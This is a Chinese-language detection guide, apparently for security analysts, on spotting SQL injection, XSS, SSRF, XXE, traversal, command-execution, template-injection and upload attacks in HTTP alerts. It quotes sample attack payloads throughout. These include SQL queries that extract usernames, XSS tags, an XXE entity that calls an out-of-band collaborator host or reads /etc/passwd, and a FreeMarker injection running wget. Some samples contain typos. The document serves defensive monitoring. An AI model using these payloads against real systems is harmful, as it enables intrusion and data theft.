?
1、SQL注入漏洞
?查看url / Referer字段/User-Agent字段/cookie字段
- 出現一些特殊字符(eg:單引號【‘】、雙引號【“”】、括號【()】、單引號括號【‘(】、雙引號括號【“(】等一些常見的特殊的字符);
??????eg:http://localhost/index.php/?id=1'and+1=1--+
eg:http://localhost/index.php/?id=1 and 1=1 -- -和1 and 1=2 --+
?
- 出現SQL命令/語句(增加、刪除、修改、查詢語句或者各語句之間的串接)
eg:url/?id=1" ?and ?updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) -- -
eg:url/?id=-1' union select?1,group_concat(schema_name),3 from ?information_schema.schemata?--+
?
- 出現注釋符號(在語句的最后出現連續2個減號字元 -- 后的 ?? 文字為注解,或“/*”與“*/”所包起來的文字為注解)
?
- 在url上出現萬能密碼字段 ?'or'1'='1
?
- 出現常見的特殊函數
? database()、updatexml()、extractvalue()、group_concat()、concat()、limit()、order by()、unsion()、system_user()、version()、load_file()、seelp()、length()、exp()、group by()、substr()、and、or等函數。
?
eg:?id=1”?and updatexml(1,concat(0x7e,database()),3) --+
eg:?id=-1’ union?select 1,2,seelp(5)--+
eg:1” union select updatexml(1,concat(0x7e,(select ????group_concat(username) from users)),1) #
- 出現各種編碼(eg:url編碼,base64編碼等)可利用Burp或 者在線解/編碼器進行操作查看是否有特殊字段。
- user-agent字段出現sqlmap/1.0.8.15#dev (http://sqlmap.org)
1.1 DNSlog注入
Load_file函數,功能是讀取文件并返回文件內容為字符串。(訪問互聯網中的文件時,需要在最前面加上兩個斜杠 //)
使用本函數有幾個前提:
1、首先要有注入點
2、需要有root權限
3、數據庫有讀寫權限即:secure_file_priv=“”
4、得有請求url權限
5、還必須得是windows服務器
?
concat函數
2、XSS(跨站腳本攻擊)漏洞
查看url / Referer字段/User-Agent字段/cookie字段
查看是否出現以下各種標簽(但不限于以下標簽)
- 查看是否出現script標簽<script>alert(1);</script>
- 查看是否出現img標簽<img src=1 οnerrοr=alert(1);>
- 查看是否出現input標簽<input οnfοcus=alert(1);>
- 查看是否出現svg 標簽<svg οnlοad=alert(1);>
- 查看是否出現select?標簽<select οnfοcus=alert(1)></select>
- 查看是否出現iframe 標簽<iframe οnlοad=alert(1);></iframe>
?例如:
GET:/CuteSoft_Client/'"()&%<ScRiPt >prompt(994848)</ScRiPt>/SpellCheck.aspx HTTP/1.1 ?
Referer: http://emp.bcu.edu.cn/
GET /error_page.htm?flag='+alert('XSS')+' HTTP/1.1
<style type="text/javascript">alert('xss');</style>
<style>@import'javascript:alert("xss")';</style>
<link rel="stylesheet" href="http://ha.ckers.org/xss.css"> ?
- 這些標簽里是否有一些危險函數【eval()函數、system()函數等】 ???或者直接出現這寫標簽后分析里面的語句看他要獲取哪些信息。
- 若以上標簽里的內容出現各種類型的編碼、雙寫/大小寫標簽、各種特殊字符進行過濾都要著重看。
- user-agent字段出現 : ??? '%22()%26%25<ScRiPt%20>prompt(961668)</ScRiPt>
告警相關示例:
url ??%0D%0A%3C%2Ftte%3E%3Cscript%3Ea ert%28myhd%29%3B%3C%2Fscpt%3E8au
url解密出來的函數是惡意函數aert()以及script標簽來獲取賬號
3、CSRF(跨站請求偽造)漏洞
查看Referer字段,正常來說,Referer字段應和請求的地址位于同一域名下。而如果是CSRF攻擊傳來的請求,Referer字段會是包含惡意網址的地址,不會在同一個域名下,這時候服務器就能識別出惡意的訪問。所以在查看csrf告警時,看域名是否有相同的后綴,是否是來自本站
4、SSRF(服務器端請求偽造)漏洞
- 查看url上是否有file協議/gopher協議/ftp協議/dict協議
例 ?http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file:///c:/windows/system.ini(獲取本地c盤的system.ini文件)
- (查看url地址后面一些參數(share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain等)這些參數后面的值是不是內網的IP地址或者是127.0.0.1或者是一些協議的一些關鍵字眼。
- 這些參數值的后面是否有特殊字符(繞過ssrf會使用一些特殊字符eg:‘。’‘[: :]’等一些特殊的字符),也可能出現各種編碼/進制進行寫IP地址,或者特殊的域名eg:xip.io。
- 是否出現file_get_contents()、fsockopen()、curl_exec()等函數
5、XXE(外部實體注入)漏洞
- 若攻擊報文出現一下告警,大概率是誤報,因為這個是電信的L1接口定位采用的是xml格式的報文,所以會產生告警
- 若報文中的system后面出現了url,要著重注意,(因為外部實體的聲明使用SYSTEM關鍵字,并且必須指定一個URL,從該URL可以加載實體的值。)
例如:
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" >?]>
?
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" >?]>
?
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "php://filter://path/to/file" ]>
?
???<!ENTITY lyq SYSTEM "file:///etc/passwd">
?
著重看以下3個協議
·data://協議 ???
·file://協議加文件上傳 ???
·php://filter協議加文件上傳
?
?
參考Content-Type字段的值,
告警示例:
GET /meol/manage/web.config.bak HTTP/1.1
Content-Type:?text/xml;charset=utf-8
Accept字段
告警示例:
GET /meol/manage/web.config.bak HTTP/1.1
Accept=application/xml,text/xml,*/*;q=0.01
X-Requested-With字段
告警示例:
GET /meol/manage/web.config.bak HTTP/1.1
X-Requested-With:XMLHttpRequest
結合告警中是否有xml的payload,一般在告警最下面顯示。
?
payload示例:
<?xml version="1.0"?>
<!DOCTYPE ANY [
????<!ENTITY % d SYSTEM
???"http://t606r6jh3sa4nrjus0ks29kwbnhe53.burpcollaborator.net">%d;
?????]>
<a>&xxe;</a>
總結:出現xml的文件或者后綴都著重看一下。
6、資源盜鏈漏洞
通過查看Referer字段或者簽名,是否有外來網站,來源不是本站,只能通過Referer字段來進行判斷,看是否有新的外來地址。著重看以http和https開頭的網址。
7、目錄遍歷
?? 如果url上有大量的../../../../../../關鍵字符就有可能攻擊者利用目錄遍歷來攻擊,也要結合../后面是什么目錄,若是敏感目錄或者文件(例如:/etc/passwd、php后綴、conf后綴等)就要著重看一下,或者url上是各種編碼,要進行解碼進行查看內容
目錄遍歷漏洞的特征要注意:
?page=xxx.php ??index=xxx.jsp?????home=xxx.html ???file=content??????最終也要結合響應包進行最終確認是否攻擊成功,是否響應。
告警示例:
通過UTF-8解碼之后再進行url解碼得出
ba.online.sh.cn/../../../../../../../../../../../../../../../../../../../../etc/passwd
8、命令執行注入
- 如果請求體或者url里出現以下危險函數
??【1】 php代碼
system()、exec()、shell_exec()、passthru函數
popen函數 ?eval函數 assert()
【2】JSP代碼
Runtime run = Runtime.getRuntime(); run.exec("ipconfig");
【3】ASP代碼
<%Response.writeCreateObject("wscript.shell").exec("cmd.exe /c ???ipconfig").StdOut.ReadAll%>
- 若里面還有特殊字符(|,||,&,&&,反符號` `,>,>>,< ,<<)
- 出現系統命令、系統目錄、敏感文件等
相關告警示例:
GET /simple/tests/tmssql.php?do=phpinfo
GET /detail.php?id=/winnt/system32/cmd.exe?/c+dir+c:%5c
GET /cgi/maker/ptcmd.cgi?cmd=;cat+/tmp/config/usr.ini
GET /cgi/maker/ptcmd.cgi?cmd=;cat+/etc/passwd
8.1 freemaker模版注入
deviceUdid=${"freemarker.template.utility.Execute"?new()("wget http://downlo%6
<#assign test="freemarker.template.utility.Execute"?new()> ${test("open /Applications/Calculator.app")}
error=&deviceUdid=${"freemarker.template.utility.Exe%6
8.2 ?WinRAR遠程代碼執行漏洞分析
如果把響應代碼更改為“301 Moved Permanently”,所有請求都將轉到惡意域“attacker.com”,并且惡意域“attacker.com”會被緩存下來。緩存下來以后,所有到默認域“notifier.rarlab.com”的流量會重定向到惡意域“attacker.com”。
9、LDAP注入
定義
LDAP輕量級目錄訪問協議,是一種在線目錄訪問協議,主要用于目錄中資源的搜索和查詢。
如果出現一些運算符(=、|、||、&、&&、!(非)、*(通配符)等),因為這些運算符都是LDAP的基本語法。
例如:
ldap://austin.ibm.com/ou=Austin,o=IBM
ldap:///ou=Austin,o=IBM??sub?(cn=Joe Q. Public)
LDAP注入攻擊面
(&(parameter1=value1)(parameter2=value2))
value1和value2可以換成注入代碼
?
10、文件包含漏洞
文件包含會出現4個函數:
include()???include_once()???require()??require_once()
出現4個函數后結合響應體著重看一下
url也會出現特殊字符../../等特殊字符
一般文件包含和文件上傳會結合使用。
11、文件上傳漏洞
http 請求 Header 頭部中的 Content-Type 存在以下特征:
multipart/form-data:表示該請求是一個文件上傳請求
存在 boundary 字符串
POST 的內容存在以下特征: Content-Disposition name filename
?
查看文件的后綴是以.php ?.php1~5 ?php的大小寫或者.asp、.asp的大小寫混合,或者以.htaccess結尾的,還有圖片馬要著重注意
?
12、信息泄露
配置文件訪問
httpd.conf htaccess HTPASSWD boot.ini etc/passwd
Php.ini Web.xml等后綴文件,然后結合響應體查看是否響應
?